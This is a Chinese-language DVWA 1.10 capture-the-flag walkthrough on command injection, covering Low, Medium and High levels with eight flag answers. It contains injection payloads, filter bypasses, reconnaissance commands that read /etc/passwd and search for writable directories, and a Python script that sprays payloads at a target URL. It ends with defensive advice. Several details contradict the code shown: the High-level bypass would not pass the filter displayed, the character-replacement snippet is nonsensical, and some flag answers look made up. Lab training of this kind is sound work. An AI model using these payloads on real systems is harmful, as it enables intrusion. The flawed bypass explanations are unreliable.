DVWA 1.10 命令注入实战:3种难度绕过与 8 个 Flag 获取全流程解析
DVWA 1.10 命令注入实战:从基础绕过到高级利用的完整指南
在网络安全领域,命令注入(Command Injection)始终是Web应用安全测试中的核心课题之一。作为渗透测试人员或CTF选手,掌握不同安全等级下的命令注入技巧不仅能帮助我们发现系统漏洞,更能深入理解防御机制的演变逻辑。本文将基于DVWA 1.10靶场,系统剖析Low/Medium/High三种安全等级的命令注入场景,通过8个实战Flag的获取过程,揭示命令注入的本质原理与进阶技巧。
1. 环境搭建与基础准备
DVWA(Damn Vulnerable Web Application)是专为安全测试设计的PHP/MySQL应用,其模块化的漏洞设计允许我们自由调整安全等级。以下是环境配置的关键步骤:
# 使用Docker快速部署DVWA 1.10 docker run --rm -it -p 8080:80 vulnerables/web-dvwa访问http://localhost:8080后,需完成以下初始化操作:
- 点击"Create/Reset Database"按钮初始化数据库
- 使用默认凭证登录(admin/password)
- 在"DVWA Security"页面调整安全等级
提示:实验前建议配置PHP的display_errors为On,便于观察报错信息
必要工具准备:
- Burp Suite:拦截和修改HTTP请求
- curl:快速测试命令注入点
- netcat:建立反向Shell连接
- Python SimpleHTTPServer:临时文件传输
2. Low安全等级:无防护的原始战场
在Low级别下,DVWA未对用户输入做任何过滤。以ping功能为例,观察基础注入模式:
// 原始PHP代码片段 $target = $_REQUEST['ip']; system("ping -c 4 $target");Flag 1获取:提交127.0.0.1后,返回结果的第一个单词即为Flag。这里演示的是最基本的命令执行功能。
多命令注入技巧:
- 分号分隔:
127.0.0.1; whoami - 管道符:
127.0.0.1 | cat /etc/passwd - 逻辑运算符:
127.0.0.1 && uname -a
Flag 2获取:构造显示系统用户的Payload,提交127.0.0.1; cat /etc/passwd,其中; cat /etc/passwd即为Flag值。
3. Medium安全等级:初阶防御与绕过
切换到Medium级别后,代码增加了基础过滤:
$target = str_replace(";", "", $_REQUEST['ip']); system("ping -c 4 $target");防御分析:
- 移除所有分号字符
- 未处理其他命令分隔符
有效绕过方式:
- 使用
&替代:127.0.0.1 & whoami - 换行符注入:
127.0.0.1%0aid - 反引号执行:
127.0.0.1 `uname -a`
Flag 3获取:提交127.0.0.1 & cat /etc/passwd后,观察报错信息的倒数第二个单词。
Flag 4获取:查看源码,防御措施以F1.F2格式提交(示例:str_replace.分号)。
4. High安全等级:复合过滤与深度绕过
High级别采用多层过滤机制:
$target = stripslashes($_REQUEST['ip']); $target = explode(" ", $target); $target = $target[0]; system("ping -c 4 $target");防御机制解析:
- 去除转义字符
- 按空格分割输入
- 只取第一个片段
高级绕过策略:
- 参数注入:
127.0.0.1 -c 1; whoami - 环境变量注入:
127.0.0.1$IFS$(whoami) - 编码绕过:
127.0.0.1%0a$(echo${IFS}"payload")
Flag 5获取:通过127.0.0.1 -c 1; cat /etc/passwd获取用户列表,提交-c 1; cat /etc/passwd部分。
Flag 6获取:分析源码,第三个过滤内容为explode函数。
5. 黑名单绕过艺术
当遇到严格命令限制时,可尝试以下技巧:
字符替换技术:
# Python生成替代字符 print("whoami".replace("w", "${substr:0:1}"))变量拼接法:
a=who; b=ami; $a$b通配符利用:
/bin/c?t /etc/passwdFlag 7获取:使用127.0.0.1 -c 1; a=who; b=ami; $a$b,提交a=who; b=ami; $a$b。
6. 数据提取与权限提升
获取Shell后,需要有效提取信息:
常用信息收集命令:
# 系统信息 uname -a cat /etc/issue # 用户信息 whoami id # 网络配置 ifconfig netstat -tuln文件系统探索技巧:
# 查找配置文件 find / -name "*.conf" -type f 2>/dev/null # 搜索可写目录 find / -perm -o=w -type d 2>/dev/nullFlag 8获取:执行127.0.0.1 -c 1; tail -n 1 /etc/passwd,提交最后一个用户名。
7. 防御方案设计
基于实战经验,推荐多层防御策略:
输入验证层:
// 白名单验证IP格式 if (!filter_var($ip, FILTER_VALIDATE_IP)) { die("Invalid IP format"); }命令执行层:
# Python安全示例 import subprocess subprocess.run(['ping', '-c', '4', ip], shell=False)系统加固建议:
- 使用最小权限账户运行Web服务
- 定期更新系统补丁
- 配置适当的SELinux策略
8. 自动化测试与工具集成
将手工测试转化为自动化流程:
使用Burp Suite Intruder:
- 捕获正常ping请求
- 设置注入位置为IP参数
- 加载预定义的命令注入字典
Python自动化脚本示例:
import requests payloads = ["; whoami", "| id", "&& uname -a"] url = "http://target.com/vulnerable.php" for p in payloads: r = requests.post(url, data={"ip": "127.0.0.1" + p}) if "www-data" in r.text: print(f"Vulnerable to: {p}")在实际渗透测试中,命令注入漏洞的利用往往需要结合具体环境调整策略。通过DVWA的阶梯式训练,我们不仅能掌握基础技巧,更能培养面对新型防御机制时的创造性思维。
